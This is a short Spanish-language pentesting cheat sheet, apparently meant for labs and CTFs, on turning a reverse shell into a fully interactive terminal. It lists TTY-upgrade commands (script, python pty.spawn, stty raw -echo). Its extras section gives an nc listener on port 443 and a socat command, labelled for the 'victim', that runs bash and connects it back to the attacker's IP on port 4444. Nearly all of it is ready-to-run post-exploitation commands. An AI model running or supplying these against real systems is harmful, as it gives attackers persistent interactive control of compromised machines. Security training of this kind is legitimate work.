⚠️ Aviso: Estas técnicas solo deben usarse en entornos autorizados (labs, CTFs, sistemas propios o con permiso explícito).
Paso 1: Generar Pseudo-Terminal
Script (recomendado):
script /dev/null -c bash
Alternativas:
# Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Perl
perl -e 'exec "/bin/bash";'
# Ruby
ruby -e 'exec "/bin/bash"'
# Lua
lua -e 'os.execute("/bin/bash")'
# AWK
awk 'BEGIN {system("/bin/bash")}'
Paso 2: Suspender Proceso
Ctrl + Z
Paso 3: Configurar Terminal Local
En tu máquina atacante:
stty raw -echo; fg
Paso 4: Reiniciar Terminal
De vuelta en la shell reversa:
reset
xterm
Paso 5: Variables de Entorno
export TERM=xterm
export SHELL=bash
Paso 6: Ajustar Dimensiones
En tu máquina local (nueva terminal):
stty size
En la shell reversa:
stty rows <filas> columns <columnas>
Resumen Rápido
# Shell reversa
script /dev/null -c bash
Ctrl + Z
# Máquina local
stty raw -echo; fg
# Shell reversa
reset
xterm
export TERM=xterm
export SHELL=bash
stty rows <filas> columns <columnas>
Extras
Windows con rlwrap
rlwrap nc -lvnp 443
sudo apt install rlwrap # Instalación
Socat (Shell completa desde el inicio)
# Atacante
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Víctima
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:4444